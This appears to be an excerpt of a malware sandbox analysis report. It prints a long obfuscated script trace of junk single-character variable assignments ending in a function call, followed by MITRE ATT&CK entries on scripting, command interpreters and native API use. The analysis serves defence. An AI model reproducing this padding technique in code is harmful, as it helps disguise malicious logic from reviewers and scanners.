409	mowtykdg = "U";
410	mowtykdg = "O";
411	mowtykdg = "s";
412	mowtykdg = "u";
413	mowtykdg = "f";
414	mowtykdg = "K";
415	mowtykdg = "W";
416	mowtykdg = "Q";
417	mowtykdg = "U";
418	mowtykdg = "H";
419	mowtykdg = "r";
420	mowtykdg = "P";
421	mowtykdg = "M";
422	mowtykdg = "Z";
423	mowtykdg = "P";
424	mowtykdg = "K";
425	hrtxgbut = "Y";
426	hrtxgbut = "n";
427	hrtxgbut = "T";
428	hrtxgbut = "J";
429	hrtxgbut = "z";
430	hrtxgbut = "k";
431	hrtxgbut = "l";
432	vgdzm = "c";
433	vgdzm = "B";
434	vgdzm = "Y";
435	vgdzm = "d";
436	vgdzm = "w";
437	vgdzm = "K";
438	vgdzm = "R";
439	vgdzm = "o";
440	vgdzm = "q";
441	vgdzm = "m";
442	vgdzm = "a";
443	vgdzm = "H";
444	vgdzm = "O";
445	vgdzm = "i";
446	vgdzm = "l";
447	vgdzm = "i";
448	vgdzm = "w";
449	vgdzm = "K";
450	vgdzm = "E";
451	vgdzm = "v";
452	vgdzm = "m";
453	vgdzm = "s";
454	vgdzm = "W";
455	vgdzm = "I";
456	vgdzm = "g";
457	vgdzm = "Y";
458	vgdzm = "G";
459	vgdzm = "Y";
460	vgdzm = "A";
461	vgdzm = "T";
462	qaipcluk = "S";
463	qaipcluk = "z";
464	qaipcluk = "X";
465	qaipcluk = "K";
466	qaipcluk = "i";
467	qaipcluk = "D";
468	qaipcluk = "E";
469	qaipcluk = "p";
470	qaipcluk = "I";
471	qaipcluk = "w";
472	qaipcluk = "h";
473	qaipcluk = "r";
474	qaipcluk = "i";
475	qaipcluk = "q";
476	qaipcluk = "c";
477	qaipcluk = "E";
478	qaipcluk = "z";
479	qaipcluk = "K";
480	qaipcluk = "B";
481	qaipcluk = "g";
482	qaipcluk = "V";
483	qaipcluk = "m";
484	qaipcluk = "B";
485	qaipcluk = "f";
486	qaipcluk = "T";
487	qaipcluk = "Q";
488	qaipcluk = "g";
489	qaipcluk = "J";
490	qaipcluk = "B";
491	qaipcluk = "Q";
492	qaipcluk = "Q";
493	qaipcluk = "K";
494	qaipcluk = "b";
495	qaipcluk = "c";
496	qaipcluk = "w";
497	qaipcluk = "x";
498	qaipcluk = "h";
499	qaipcluk = "I";
500	qaipcluk = "T";
501	qaipcluk = "L";
502	fyggaq = "m";
503	fyggaq = "F";
504	fyggaq = "K";
505	fyggaq = "h";
506	fyggaq = "d";
507	fyggaq = "V";
508	fyggaq = "I";
509	fyggaq = "E";
510	fyggaq = "K";
511	fyggaq = "S";
512	fyggaq = "y";
513	fyggaq = "Q";
514	fyggaq = "A";
515	fyggaq = "m";
516	fyggaq = "m";
517	fyggaq = "x";
518	fyggaq = "N";
519	fyggaq = "P";
520	fyggaq = "L";
521	fyggaq = "h";
522	fyggaq = "o";
523	fyggaq = "f";
524	fyggaq = "U";
525	fyggaq = "Q";
526	fyggaq = "L";
527	fyggaq = "g";
528	fyggaq = "o";
529	fyggaq = "P";
530	fyggaq = "J";
531	fyggaq = "m";
532	fyggaq = "t";
533	fyggaq = "y";
534	fyggaq = "P";
535	fyggaq = "P";
536	fyggaq = "J";
537	fyggaq = "B";
538	fyggaq = "S";
539	oeblygtv = "V";
540	oeblygtv = "P";
541	oeblygtv = "M";
542	oeblygtv = "q";
543	oeblygtv = "M";
544	oeblygtv = "q";
545	oeblygtv = "L";
546	oeblygtv = "d";
547	oeblygtv = "b";
548	oeblygtv = "r";
549	oeblygtv = "X";
550	oeblygtv = "i";
551	oeblygtv = "s";
552	oeblygtv = "c";
553	oeblygtv = "T";
554	oeblygtv = "R";
555	oeblygtv = "T";
556	oeblygtv = "g";
557	oeblygtv = "s";
558	oeblygtv = "h";
559	oeblygtv = "W";
560	oeblygtv = "S";
561	oeblygtv = "E";
562	oeblygtv = "B";
563	oeblygtv = "T";
564	oeblygtv = "/";
565	idtrv = "A";
566	idtrv = "z";
567	idtrv = "s";
568	idtrv = "s";
569	idtrv = "O";
570	idtrv = "A";
571	idtrv = "g";
572	idtrv = "T";
573	idtrv = "y";
574	idtrv = "Z";
575	idtrv = "k";
576	idtrv = "j";
577	idtrv = "B";
578	idtrv = "L";
579	idtrv = "A";
580	idtrv = "q";
581	idtrv = "n";
582	idtrv = "F";
583	idtrv = "B";
584	idtrv = "b";
585	idtrv = "N";
586	efkarwbq = "t";
587	efkarwbq = "J";
588	efkarwbq = "j";
589	efkarwbq = "t";
590	efkarwbq = "\"";
591	neonwiz = "O";
592	neonwiz = "z";
593	neonwiz = "T";
594	neonwiz = "V";
595	neonwiz = "I";
596	neonwiz = "k";
597	neonwiz = "r";
598	neonwiz = "s";
599	neonwiz = "c";
600	neonwiz = "q";
601	neonwiz = "o";
602	neonwiz = "X";
603	neonwiz = "p";
604	neonwiz = "h";
605	neonwiz = "o";
606	neonwiz = "e";
607	neonwiz = "f";
608	neonwiz = "D";
609	neonwiz = "x";
610	neonwiz = "y";
611	neonwiz = "j";
612	neonwiz = "F";
613	neonwiz = "M";
614	neonwiz = "G";
615	neonwiz = "p";
616	neonwiz = "S";
617	neonwiz = "y";
618	neonwiz = "g";
619	neonwiz = "E";
620	neonwiz = "K";
621	neonwiz = "A";
622	neonwiz = "r";
623	neonwiz = "Q";
624	neonwiz = "T";
625	neonwiz = "p";
626	neonwiz = "C";
627	neonwiz = "Y";
628	neonwiz = "T";
629	neonwiz = "K";
630	neonwiz = "S";
631	neonwiz = "Q";
632	neonwiz = "U";
633	neonwiz = ":";
634	mkzxf = "a";
635	mkzxf = "t";
636	mkzxf = "X";
637	mkzxf = "z";
638	mkzxf = "d";
639	mkzxf = "e";
640	mkzxf = "r";
641	mkzxf = "M";
642	mkzxf = "P";
643	mkzxf = "U";
644	mkzxf = "Y";
645	mkzxf = "a";
646	mkzxf = "u";
647	mkzxf = "N";
648	mkzxf = "y";
649	mkzxf = "r";
650	mkzxf = "S";
651	mkzxf = "K";
652	mkzxf = "l";
653	mkzxf = "r";
654	mkzxf = "W";
655	mkzxf = "T";
656	mkzxf = "a";
657	mkzxf = "L";
658	mkzxf = "d";
659	koolevt = "0";
660	llinmzhl = "G";
661	llinmzhl = "O";
662	llinmzhl = "a";
663	llinmzhl = "i";
664	llinmzhl = "G";
665	llinmzhl = "S";
666	llinmzhl = "c";
667	llinmzhl = "J";
668	llinmzhl = "V";
669	llinmzhl = "W";
670	yfpumeosc = "x";
671	yfpumeosc = "b";
672	yfpumeosc = "E";
673	yfpumeosc = "9";
674	dtaoyidmf = "n";
675	dtaoyidmf = "S";
676	dtaoyidmf = "J";
677	dtaoyidmf = "Y";
678	dtaoyidmf = "S";
679	dtaoyidmf = "W";
680	dtaoyidmf = "W";
681	dtaoyidmf = "x";
682	dtaoyidmf = "N";
683	dtaoyidmf = "F";
684	dtaoyidmf = "Q";
685	dtaoyidmf = "l";
686	dtaoyidmf = "x";
687	dtaoyidmf = "h";
688	dtaoyidmf = "R";
689	dtaoyidmf = "N";
690	dtaoyidmf = "n";
691	dtaoyidmf = "A";
692	dtaoyidmf = "q";
693	dtaoyidmf = "C";
694	dtaoyidmf = "P";
695	dtaoyidmf = "T";
696	dtaoyidmf = "D";
697	dtaoyidmf = "p";
698	dtaoyidmf = "o";
699	dtaoyidmf = "U";
700	dtaoyidmf = "q";
701	dtaoyidmf = "e";
702	dtaoyidmf = "I";
703	dtaoyidmf = "f";
704	dtaoyidmf = "J";
705	dtaoyidmf = "H";
706	dtaoyidmf = "h";
707	dtaoyidmf = "i";
708	dtaoyidmf = "X";
709	dtaoyidmf = "v";
710	dtaoyidmf = "O";
711	qojuf = "Q";
712	qojuf = "u";
713	qojuf = "h";
714	qojuf = "p";
715	qojuf = "I";
716	qojuf = "N";
717	qojuf = "e";
718	qojuf = "x";
719	qojuf = "D";
720	qojuf = "a";
721	qojuf = "C";
722	qojuf = "R";
723	qojuf = "u";
724	qojuf = "E";
725	qojuf = "y";
726	qojuf = "d";
727	qojuf = "Y";
728	qojuf = "v";
729	qojuf = "M";
730	qojuf = "T";
731	qojuf = "J";
732	qojuf = "x";
733	qojuf = "d";
734	qojuf = "g";
735	qojuf = "X";
736	qojuf = "e";
737	qojuf = "i";
738	qojuf = "e";
739	qojuf = "X";
740	qojuf = "z";
741	qojuf = "D";
742	qojuf = "M";
743	qojuf = "U";
744	qojuf = "W";
745	qojuf = "K";
746	qojuf = "j";
747	qojuf = "I";
748	qojuf = "d";
749	qojuf = "i";
750	qojuf = "x";
751	qojuf = "F";
752	qojuf = "L";
753	qojuf = "w";
754	qojuf = "Y";
755	qojuf = "s";
756	ogqpyu = "z";
757	ogqpyu = "r";
758	ogqpyu = "H";
759	ogqpyu = "C";
760	ogqpyu = "Z";
761	ogqpyu = "A";
762	ogqpyu = "N";
763	ogqpyu = "L";
764	ogqpyu = "o";
765	ogqpyu = "U";
766	ogqpyu = "w";
767	ogqpyu = "t";
768	ogqpyu = "N";
769	ogqpyu = "z";
770	ogqpyu = "r";
771	ogqpyu = "t";
772	ogqpyu = "P";
773	ogqpyu = "C";
774	olyoer = "C";
775	olyoer = "q";
776	olyoer = "q";
777	olyoer = "H";
778	olyoer = "A";
779	olyoer = "s";
780	olyoer = "i";
781	olyoer = "B";
782	olyoer = "H";
783	olyoer = "B";
784	olyoer = "p";
785	olyoer = "L";
786	olyoer = "K";
787	olyoer = "M";
788	olyoer = "Q";
789	olyoer = "f";
790	olyoer = "I";
791	olyoer = "F";
792	olyoer = "K";
793	olyoer = "J";
794	olyoer = "c";
795	olyoer = "d";
796	olyoer = "d";
797	olyoer = "E";
798	olyoer = "W";
799	olyoer = "k";
800	olyoer = "d";
801	olyoer = "L";
802	olyoer = "v";
803	olyoer = "F";
804	olyoer = "I";
805	olyoer = "F";
806	olyoer = "t";
807	olyoer = "M";
808	olyoer = "I";
809	olyoer = "X";
810	olyoer = "u";
811	olyoer = "y";
812	olyoer = "p";
813	galditg = "M";
814	galditg = "Z";
815	galditg = "B";
816	galditg = "w";
817	galditg = "c";
818	galditg = "A";
819	galditg = "z";
820	galditg = "o";
821	galditg = "X";
822	galditg = "W";
823	galditg = "v";
824	galditg = "i";
825	galditg = "m";
826	lhpljuf = "P";
827	lhpljuf = "g";
828	lhpljuf = "K";
829	lhpljuf = "P";
830	lhpljuf = "k";
831	lhpljuf = "m";
832	lhpljuf = "c";
833	lhpljuf = "h";
834	lhpljuf = "E";
835	lhpljuf = "Q";
836	lhpljuf = "o";
837	lhpljuf = "T";
838	lhpljuf = "h";
839	lhpljuf = "c";
840	lhpljuf = "b";
841	lhpljuf = "n";
842	lhpljuf = "W";
843	lhpljuf = "P";
844	lhpljuf = "s";
845	lhpljuf = "E";
846	lhpljuf = "v";
847	lhpljuf = "u";
848	lhpljuf = "l";
849	lhpljuf = "o";
850	lhpljuf = "o";
851	lhpljuf = "f";
852	lhpljuf = "B";
853	lhpljuf = "o";
854	lhpljuf = "U";
855	lhpljuf = "L";
856	lhpljuf = "r";
857	lhpljuf = "z";
858	lhpljuf = "v";
859	lhpljuf = "o";
860	lhpljuf = "H";
861	lhpljuf = "u";
862	lhpljuf = "l";
863	lhpljuf = "2";
864	siclhyceo = "R";
865	siclhyceo = "g";
866	anhwmwry = "w";
867	anhwmwry = "S";
868	anhwmwry = "E";
869	anhwmwry = "E";
870	wfeae = "J";
871	wfeae = "v";
872	wfeae = "h";
873	wfeae = "V";
874	wfeae = "A";
875	wfeae = "W";
876	wfeae = "f";
877	wfeae = "d";
878	wfeae = "w";
879	wfeae = "B";
880	wfeae = "W";
881	wfeae = "F";
882	wfeae = "y";
883	wfeae = "H";
884	wfeae = "h";
885	wfeae = "m";
886	wfeae = "D";
887	wfeae = "D";
888	wfeae = "h";
889	wfeae = "D";
890	wfeae = "U";
891	wfeae = "l";
892	wfeae = "P";
893	wfeae = "F";
894	wfeae = "f";
895	wfeae = "p";
896	wfeae = "i";
897	wfeae = "R";
898	wfeae = "O";
899	wfeae = ".";
900	lvkcavr = "n";
901	lvkcavr = "y";
902	lvkcavr = "N";
903	lvkcavr = "W";
904	lvkcavr = "N";
905	lvkcavr = "V";
906	lvkcavr = "J";
907	lvkcavr = "o";
908	lvkcavr = "z";
909	lvkcavr = "A";
910	lvkcavr = "p";
911	lvkcavr = "H";
912	lvkcavr = "g";
913	lvkcavr = "G";
914	lvkcavr = "j";
915	lvkcavr = "l";
916	lvkcavr = "B";
917	lvkcavr = "G";
918	lvkcavr = "D";
919	lvkcavr = "q";
920	lvkcavr = "g";
921	lvkcavr = "J";
922	lvkcavr = "Q";
923	lvkcavr = "U";
924	lvkcavr = "Y";
925	lvkcavr = "G";
926	lvkcavr = "e";
927	lvkcavr = "B";
928	lvkcavr = "p";
929	lvkcavr = "Q";
930	nymxf = "h";
931	sjbxiacx = "q";
932	sjbxiacx = "w";
933	sjbxiacx = "F";
934	sjbxiacx = "h";
935	sjbxiacx = "w";
936	sjbxiacx = "t";
937	sjbxiacx = "k";
938	sjbxiacx = "i";
939	sjbxiacx = "M";
940	sjbxiacx = "c";
941	sjbxiacx = "a";
942	sjbxiacx = "j";
943	sjbxiacx = "m";
944	sjbxiacx = "h";
945	sjbxiacx = "x";
946	sjbxiacx = "H";
947	sjbxiacx = "P";
948	sjbxiacx = "A";
949	sjbxiacx = "X";
950	sjbxiacx = "g";
951	sjbxiacx = "z";
952	sjbxiacx = "U";
953	sjbxiacx = "n";
954	sjbxiacx = "T";
955	sjbxiacx = "g";
956	sjbxiacx = "w";
957	sjbxiacx = "s";
958	sjbxiacx = "B";
959	sjbxiacx = "c";
960	sjbxiacx = "M";
961	sjbxiacx = "d";
962	sjbxiacx = "o";
963	sjbxiacx = "q";
964	sjbxiacx = "K";
965	sjbxiacx = "K";
966	sjbxiacx = "N";
967	sjbxiacx = "e";
968	sjbxiacx = "S";
969	sjbxiacx = "r";
970	sjbxiacx = "S";
971	sjbxiacx = "d";
972	sjbxiacx = "R";
973	sjbxiacx = "w";
974	eaolrjf = "i";
975	eaolrjf = "f";
976	eaolrjf = "y";
977	eaolrjf = "U";
978	eaolrjf = "Z";
979	eaolrjf = "v";
980	eaolrjf = "Q";
981	eaolrjf = "T";
982	eaolrjf = "U";
983	eaolrjf = "j";
984	eaolrjf = "Y";
985	eaolrjf = "q";
986	eaolrjf = "n";
987	eaolrjf = "w";
988	eaolrjf = "Q";
989	eaolrjf = "L";
990	eaolrjf = "B";
991	eaolrjf = "i";
992	eaolrjf = "O";
993	eaolrjf = "p";
994	eaolrjf = "M";
995	eaolrjf = "n";
996	eaolrjf = "a";
997	eaolrjf = "P";
998	eaolrjf = "H";
999	eaolrjf = "t";
1000	eaolrjf = " ";
1001	qxkyp = "c";
1002	qxkyp = "p";
1003	qxkyp = "Y";
1004	qxkyp = "u";
1005	qxkyp = "z";
1006	qxkyp = "L";
1007	qxkyp = "E";
1008	qxkyp = "d";
1009	qxkyp = "B";
1010	qxkyp = "F";
1011	qxkyp = "s";
1012	qxkyp = "v";
1013	qxkyp = "D";
1014	qxkyp = "o";
1015	qxkyp = "a";
1016	qxkyp = "B";
1017	qxkyp = "s";
1018	qxkyp = "i";
1019	qxkyp = "v";
1020	smjuktlmh = "l";
1021	smjuktlmh = "R";
1022	smjuktlmh = "x";
1023	smjuktlmh = "s";
1024	smjuktlmh = "C";
1025	smjuktlmh = "i";
1026	smjuktlmh = "z";
1027	smjuktlmh = "F";
1028	smjuktlmh = "U";
1029	smjuktlmh = "C";
1030	smjuktlmh = "L";
1031	smjuktlmh = "Y";
1032	smjuktlmh = "o";
1033	smjuktlmh = "v";
1034	smjuktlmh = "E";
1035	smjuktlmh = "T";
1036	smjuktlmh = "u";
1037	ubhadrdd = "d";
1038	ubhadrdd = "m";
1039	ubhadrdd = "X";
1040	ubhadrdd = "F";
1041	ubhadrdd = "a";
1042	ubhadrdd = "z";
1043	ubhadrdd = "a";
1044	ubhadrdd = "P";
1045	ubhadrdd = "N";
1046	ubhadrdd = "H";
1047	ubhadrdd = "I";
1048	ubhadrdd = "d";
1049	ubhadrdd = "e";
1050	ubhadrdd = "r";
1051	ubhadrdd = "T";
1052	ubhadrdd = "y";
1053	ubhadrdd = "u";
1054	ubhadrdd = "U";
1055	ubhadrdd = "l";
1056	ubhadrdd = "k";
1057	ubhadrdd = "l";
1058	ubhadrdd = "P";
1059	ubhadrdd = "H";
1060	ubhadrdd = "C";
1061	ubhadrdd = "q";
1062	ubhadrdd = "I";
1063	ubhadrdd = "g";
1064	ubhadrdd = "M";
1065	ubhadrdd = "b";
1066	ubhadrdd = "B";
1067	ubhadrdd = "a";
1068	ubhadrdd = "A";
1069	ubhadrdd = "I";
1070	ubhadrdd = "Q";
1071	ubhadrdd = "L";
1072	ubhadrdd = "s";
1073	ubhadrdd = "K";
1074	ubhadrdd = "H";
1075	ubhadrdd = "C";
1076	ubhadrdd = "a";
1077	yasmx = "b";
1078	yasmx = "w";
1079	yasmx = "v";
1080	yasmx = "a";
1081	yasmx = "r";
1082	yasmx = "n";
1083	yasmx = "k";
1084	yasmx = "q";
1085	yasmx = "T";
1086	yasmx = "K";
1087	yasmx = "q";
1088	yasmx = "i";
1089	yasmx = "x";
1090	yasmx = "x";
1091	yasmx = "f";
1092	yasmx = "w";
1093	yasmx = "B";
1094	yasmx = "K";
1095	yasmx = "D";
1096	yasmx = "z";
1097	yasmx = "h";
1098	yasmx = "t";
1099	yasmx = "F";
1100	yasmx = "p";
1101	yasmx = "V";
1102	yasmx = "c";
1103	yasmx = "k";
1104	yasmx = "A";
1105	yasmx = "F";
1106	xaztsqcb = "h";
1107	xaztsqcb = "W";
1108	xaztsqcb = "u";
1109	xaztsqcb = "K";
1110	xaztsqcb = "n";
1111	xaztsqcb = "w";
1112	xaztsqcb = "I";
1113	xaztsqcb = "e";
1114	xaztsqcb = "z";
1115	xaztsqcb = "k";
1116	xaztsqcb = "L";
1117	xaztsqcb = "M";
1118	xaztsqcb = "k";
1119	ftdngepfy = "I";
1120	ftdngepfy = "O";
1121	ftdngepfy = "X";
1122	ftdngepfy = "s";
1123	ftdngepfy = "D";
1124	ftdngepfy = "h";
1125	ftdngepfy = "z";
1126	ftdngepfy = "Y";
1127	ftdngepfy = "T";
1128	ftdngepfy = "g";
1129	ftdngepfy = "c";
1130	ftdngepfy = "r";
1131	ftdngepfy = "q";
1132	ftdngepfy = "c";
1133	ftdngepfy = "g";
1134	ftdngepfy = "c";
1135	ftdngepfy = "I";
1136	ftdngepfy = "E";
1137	ftdngepfy = "z";
1138	ftdngepfy = "j";
1139	ftdngepfy = "e";
1140	ftdngepfy = "A";
1141	ftdngepfy = "L";
1142	ftdngepfy = "O";
1143	ftdngepfy = "t";
1144	ftdngepfy = "k";
1145	ftdngepfy = "O";
1146	ftdngepfy = "T";
1147	ftdngepfy = "Z";
1148	ftdngepfy = "x";
1149	ftdngepfy = "L";
1150	ftdngepfy = "i";
1151	ftdngepfy = "d";
1152	ftdngepfy = "o";
1153	ftdngepfy = "M";
1154	ftdngepfy = "J";
1155	ftdngepfy = "b";
1156	ftdngepfy = "_";
1157	ctjkxe = "q";
1158	ctjkxe = "w";
1159	ctjkxe = "K";
1160	ctjkxe = "X";
1161	ctjkxe = "M";
1162	ctjkxe = "m";
1163	ctjkxe = "S";
1164	ctjkxe = "x";
1165	ctjkxe = "W";
1166	ctjkxe = "I";
1167	ctjkxe = "p";
1168	ctjkxe = "U";
1169	ctjkxe = "A";
1170	ctjkxe = "n";
1171	ctjkxe = "C";
1172	ctjkxe = "c";
1173	ctjkxe = "r";
1174	ctjkxe = "f";
1175	ctjkxe = "P";
1176	ctjkxe = "X";
1177	ctjkxe = "i";
1178	ctjkxe = "C";
1179	ctjkxe = "A";
1180	ctjkxe = "A";
1181	ctjkxe = "a";
1182	ctjkxe = "A";
1183	ctjkxe = "U";
1184	ctjkxe = "l";
1185	ctjkxe = "T";
1186	ctjkxe = "F";
1187	ctjkxe = "c";
1188	ctjkxe = "f";
1189	ctjkxe = "U";
1190	ctjkxe = "x";
1191	ctjkxe = "s";
1192	ctjkxe = "Q";
1193	ctjkxe = "H";
1194	ctjkxe = "7";
1195	alhmyhi = "K";
1196	alhmyhi = "S";
1197	alhmyhi = "D";
1198	alhmyhi = "I";
1199	alhmyhi = "O";
1200	alhmyhi = "J";
1201	alhmyhi = "W";
1202	alhmyhi = "m";
1203	alhmyhi = "e";
1204	alhmyhi = "w";
1205	alhmyhi = "R";
1206	alhmyhi = "H";
1207	alhmyhi = "H";
1208	alhmyhi = "f";
1209	alhmyhi = "G";
1210	alhmyhi = "v";
1211	alhmyhi = "S";
1212	alhmyhi = "Q";
1213	alhmyhi = "e";
1214	alhmyhi = "n";
1215	alhmyhi = "Z";
1216	alhmyhi = "b";
1217	alhmyhi = "R";
1218	alhmyhi = "s";
1219	alhmyhi = "u";
1220	alhmyhi = "A";
1221	alhmyhi = "h";
1222	alhmyhi = "E";
1223	alhmyhi = "g";
1224	alhmyhi = "z";
1225	alhmyhi = "U";
1226	alhmyhi = "e";
1227	alhmyhi = "c";
1228	nemmifjlj = "s";
1229	nemmifjlj = "b";
1230	nemmifjlj = "p";
1231	nemmifjlj = "r";
1232	ibzucn = "Y";
1233	ibzucn = "J";
1234	ibzucn = "w";
1235	ibzucn = "C";
1236	ibzucn = "E";
1237	ibzucn = "C";
1238	ibzucn = "e";
1239	ibzucn = "P";
1240	ibzucn = "M";
1241	ibzucn = "H";
1242	ibzucn = "O";
1243	ibzucn = "J";
1244	ibzucn = "e";
1245	ibzucn = "O";
1246	ibzucn = "Z";
1247	ibzucn = "F";
1248	ibzucn = "Z";
1249	ibzucn = "e";
1250	ibzucn = "E";
1251	ibzucn = "U";
1252	ibzucn = "I";
1253	ibzucn = "n";
1254	ibzucn = "K";
1255	ibzucn = "f";
1256	ibzucn = "r";
1257	ibzucn = "g";
1258	ibzucn = "K";
1259	ibzucn = "U";
1260	ibzucn = "l";
1261	ibzucn = "y";
1262	ibzucn = "G";
1263	ibzucn = "3";
1264	aofgz = "Q";
1265	aofgz = "q";
1266	aofgz = "P";
1267	aofgz = "s";
1268	aofgz = "G";
1269	aofgz = "Q";
1270	aofgz = "S";
1271	aofgz = "t";
1272	ohgiliko = "F";
1273	ohgiliko = "o";
1274	ohgiliko = "R";
1275	ohgiliko = "e";
1276	ohgiliko = "G";
1277	ohgiliko = "L";
1278	ohgiliko = "n";
1279	ohgiliko = "h";
1280	ohgiliko = "P";
1281	ohgiliko = "R";
1282	ohgiliko = "S";
1283	ohgiliko = "v";
1284	ohgiliko = "d";
1285	ohgiliko = "d";
1286	ohgiliko = "y";
1287	ohgiliko = "O";
1288	ohgiliko = "S";
1289	ohgiliko = "M";
1290	ohgiliko = "q";
1291	ohgiliko = "M";
1292	ohgiliko = "P";
1293	ohgiliko = "X";
1294	ohgiliko = "l";
1295	ohgiliko = "a";
1296	ohgiliko = "H";
1297	ohgiliko = "z";
1298	ohgiliko = "K";
1299	ohgiliko = "Y";
1300	ohgiliko = "N";
1301	ohgiliko = "l";
1302	ohgiliko = "o";
1303	ohgiliko = "Y";
1304	ohgiliko = "I";
1305	ohgiliko = "x";
1306	ohgiliko = "S";
1307	ohgiliko = "i";
1308	ohgiliko = "F";
1309	ohgiliko = "W";
1310	ohgiliko = "s";
1311	ohgiliko = "h";
1312	ohgiliko = "%";
1313	llakvr = "y";
1314	llakvr = "p";
1315	llakvr = "s";
1316	llakvr = "D";
1317	llakvr = "C";
1318	llakvr = "V";
1319	llakvr = "M";
1320	llakvr = "P";
1321	llakvr = "U";
1322	llakvr = "Y";
1323	llakvr = "F";
1324	llakvr = "t";
1325	llakvr = "b";
1326	llakvr = "v";
1327	llakvr = "N";
1328	llakvr = "o";
1329	llakvr = "m";
1330	llakvr = "q";
1331	wpxxg = "W";
1332	wpxxg = "D";
1333	wpxxg = "E";
1334	wpxxg = "K";
1335	wpxxg = "S";
1336	wpxxg = "v";
1337	wpxxg = "w";
1338	wpxxg = "D";
1339	wpxxg = "i";
1340	wpxxg = "c";
1341	wpxxg = "G";
1342	wpxxg = "l";
1343	wpxxg = "S";
1344	wpxxg = "Z";
1345	wpxxg = "S";
1346	wpxxg = "Y";
1347	wpxxg = "D";
1348	wpxxg = "e";
1349	wpxxg = "Q";
1350	wpxxg = "f";
1351	wpxxg = "x";
1352	wpxxg = "h";
1353	wpxxg = "u";
1354	wpxxg = "H";
1355	wpxxg = "u";
1356	wpxxg = "Q";
1357	wpxxg = "V";
1358	wpxxg = "l";
1359	wpxxg = "k";
1360	wpxxg = "r";
1361	wpxxg = "Q";
1362	wpxxg = "L";
1363	wpxxg = "b";
1364	wpxxg = "E";
1365	wpxxg = "v";
1366	wpxxg = "r";
1367	wpxxg = "F";
1368	wpxxg = "F";
1369	wpxxg = "g";
1370	wpxxg = "e";
1371	wpxxg = "O";
1372	wpxxg = "V";
1373	wpxxg = "T";
1374	wpxxg = "5";
1375	ihptiig = "g";
1376	ihptiig = "e";
1377	ihptiig = "r";
1378	ihptiig = "u";
1379	ihptiig = "J";
1380	ihptiig = "B";
1381	ihptiig = "P";
1382	ihptiig = "X";
1383	ihptiig = "o";
1384	ihptiig = "T";
1385	ihptiig = "X";
1386	ihptiig = "w";
1387	ihptiig = "C";
1388	ihptiig = "k";
1389	ihptiig = "s";
1390	ihptiig = "m";
1391	ihptiig = "n";
1392	ihptiig = "q";
1393	ihptiig = "F";
1394	ihptiig = "D";
1395	ihptiig = "O";
1396	ihptiig = "J";
1397	ihptiig = "s";
1398	ihptiig = "e";
1399	ihptiig = "V";
1400	ihptiig = "1";
1401	pbmwhath = "l";
1402	pbmwhath = "g";
1403	pbmwhath = "O";
1404	pbmwhath = "i";
1405	pbmwhath = "e";
1406	pbmwhath = "X";
1407	pbmwhath = "u";
1408	pbmwhath = "R";
1409	pbmwhath = "e";
1410	pbmwhath = "U";
1411	pbmwhath = "c";
1412	pbmwhath = "e";
1413	pbmwhath = "H";
1414	pbmwhath = "K";
1415	pbmwhath = "N";
1416	pbmwhath = "j";
1417	pbmwhath = "f";
1418	pbmwhath = "j";
1419	pbmwhath = "6";
1420	metkvdgfb = "D";
1421	metkvdgfb = "o";
1422	metkvdgfb = "C";
1423	metkvdgfb = "i";
1424	metkvdgfb = "S";
1425	metkvdgfb = "O";
1426	metkvdgfb = "k";
1427	metkvdgfb = "z";
1428	metkvdgfb = "U";
1429	metkvdgfb = "l";
1430	metkvdgfb = "T";
1431	metkvdgfb = "q";
1432	metkvdgfb = "m";
1433	metkvdgfb = "f";
1434	metkvdgfb = "E";
1435	metkvdgfb = "G";
1436	metkvdgfb = "I";
1437	metkvdgfb = "C";
1438	metkvdgfb = "p";
1439	metkvdgfb = "m";
1440	metkvdgfb = "Y";
1441	metkvdgfb = "U";
1442	metkvdgfb = "K";
1443	metkvdgfb = "h";
1444	metkvdgfb = "L";
1445	metkvdgfb = "x";
1446	metkvdgfb = "r";
1447	metkvdgfb = "Z";
1448	metkvdgfb = "X";
1449	metkvdgfb = "A";
1450	metkvdgfb = "D";
1451	metkvdgfb = "T";
1452	metkvdgfb = "S";
1453	metkvdgfb = "A";
1454	metkvdgfb = "v";
1455	metkvdgfb = "E";
1456	metkvdgfb = "T";
1457	metkvdgfb = "K";
1458	metkvdgfb = "v";
1459	metkvdgfb = "x";
1460	tkcorlakp = "Y";
1461	tkcorlakp = "y";
1462	tkcorlakp = "T";
1463	tkcorlakp = "p";
1464	tkcorlakp = "D";
1465	tkcorlakp = "n";
1466	tkcorlakp = "n";
1467	tkcorlakp = "n";
1468	tkcorlakp = "E";
1469	tkcorlakp = "d";
1470	tkcorlakp = "c";
1471	tkcorlakp = "L";
1472	tkcorlakp = "f";
1473	tkcorlakp = "T";
1474	tkcorlakp = "l";
1475	tkcorlakp = "Z";
1476	tkcorlakp = "x";
1477	tkcorlakp = "L";
1478	tkcorlakp = "Z";
1479	tkcorlakp = "b";
1480	tkcorlakp = "C";
1481	tkcorlakp = "O";
1482	tkcorlakp = "z";
1483	tkcorlakp = "x";
1484	tkcorlakp = "U";
1485	tkcorlakp = "r";
1486	tkcorlakp = "i";
1487	tkcorlakp = "B";
1488	tkcorlakp = "J";
1489	tkcorlakp = "V";
1490	tkcorlakp = "c";
1491	tkcorlakp = "t";
1492	tkcorlakp = "F";
1493	tkcorlakp = "d";
1494	tkcorlakp = "n";
1495	tkcorlakp = "p";
1496	tkcorlakp = "z";
1497	tkcorlakp = "S";
1498	tkcorlakp = "o";
1499	vnrdyphjp ( );	vnrdyphjp() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

